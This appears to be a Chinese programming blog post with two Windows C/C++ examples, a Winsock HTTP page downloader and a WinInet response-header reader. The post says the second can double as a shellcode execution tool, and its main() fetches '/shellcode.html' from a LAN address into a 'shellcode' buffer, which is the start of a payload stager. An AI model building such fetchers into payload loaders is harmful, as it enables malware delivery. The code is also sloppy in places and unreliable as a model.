1. 程式人生 > 實用技巧 >C/C++ 頁面下載與獲取響應頭

C/C++ 頁面下載與獲取響應頭

實現HTTP 使用C++ 實現的HTTP頁面請求下載功能,可以附帶完整的HTTP請求頭資訊。

#include <stdio.h>
#include <Windows.h>
#include <winsock.h>

#pragma comment(lib,"ws2_32.lib")

int Curl(const char *szURL,const char *szSubPath)
{
	int ret = 0;
	char *context = new char[1024 * 8];
	ret = sprintf(context,
		"GET %s HTTP/1.1 \r\n"
		"Host: %s \r\n"
		"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0 \r\n"
		"Accept-Type: */* \r\n"
		"Connection: Close \r\n\r\n",
		szSubPath, szURL);

	SOCKADDR_IN addr;
	SOCKET sock = socket(AF_INET, SOCK_STREAM, 0);
	addr.sin_addr.S_un.S_addr = 0;
	addr.sin_port = htons(0);
	addr.sin_family = AF_INET;
	ret = bind(sock, (const sockaddr*)&addr, sizeof(SOCKADDR_IN));
	hostent *local_addr = gethostbyname(szURL);

	if (local_addr)
	{
		ULONG ip = *(ULONG*)local_addr->h_addr_list[0];
		addr.sin_addr.S_un.S_addr = ip;
		addr.sin_port = htons(80);

		ret = connect(sock, (const sockaddr*)&addr, sizeof(SOCKADDR_IN));
		if (ret == NOERROR)
		{
			ret = send(sock, (const char*)context, (int)strlen(context), 0);
			do
			{
				ret = recv(sock, context, 8191, 0);
				if (ret <= 0) { break; }
				context[ret] = '\0';
				printf("%s \n", context);
			} while (TRUE);
		}
	}
	closesocket(sock);
	return 0;
}

int main(int argc, char *argv[])
{
	WSADATA wsaData;
	WSAStartup(0x0202, &wsaData);
	Curl("cn.bing.com", "/");
	WSACleanup();

	system("pause");
	return 0;
}

獲取HTTP響應頭: 此程式碼既可用於獲取HTTP的響應程式碼,也可當作shellCode執行工具.

#include <stdio.h>
#include <Windows.h>
#include <WinInet.h>
#pragma comment(lib, "WinInet.lib")

char * GetUrlPage(char *URL, char *SubPath)
{
	HINTERNET hInternet, hConnect, hRequest = NULL;
	DWORD dwOpenRequestFlags, dwRet = 0;
	unsigned char *pResponseHeaderIInfo = NULL;
	DWORD dwResponseHeaderIInfoSize = 2048;
	BYTE *pBuf = NULL;
	DWORD dwBufSize = 64 * 2048;

	// 建立會話
	hInternet = ::InternetOpen("WinInetGet/0.1", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
	// 建立連線
	hConnect = ::InternetConnect(hInternet, URL, INTERNET_DEFAULT_HTTP_PORT, 0, 0, INTERNET_SERVICE_HTTP, 0, 0);
	if (NULL == hConnect)
		return NULL;

	// 開啟併發送HTTP請求
	dwOpenRequestFlags = INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP | INTERNET_FLAG_KEEP_CONNECTION |
		INTERNET_FLAG_NO_AUTH | INTERNET_FLAG_NO_COOKIES | INTERNET_FLAG_NO_UI | INTERNET_FLAG_RELOAD;

	hRequest = HttpOpenRequest(hConnect, "GET", SubPath, NULL, NULL, NULL, dwOpenRequestFlags, 0);

	// 傳送請求
	HttpSendRequest(hRequest, NULL, 0, NULL, 0);

	// 接收響應的報文資訊頭(Get Response Header)
	pResponseHeaderIInfo = new unsigned char[dwResponseHeaderIInfoSize];
	RtlZeroMemory(pResponseHeaderIInfo, dwResponseHeaderIInfoSize);
	HttpQueryInfo(hRequest, HTTP_QUERY_RAW_HEADERS_CRLF, pResponseHeaderIInfo, &dwResponseHeaderIInfoSize, NULL);
	printf("響應頭: %s \n", pResponseHeaderIInfo);
	pBuf = new BYTE[dwBufSize];

	RtlZeroMemory(pBuf, dwBufSize);
	InternetReadFile(hRequest, pBuf, dwBufSize, &dwRet);
	return (char *)pBuf;
}

int main(int argc, char *argv[])
{
	char *shellcode = GetUrlPage("192.168.1.20", "/shellcode.html");
	return 0;
}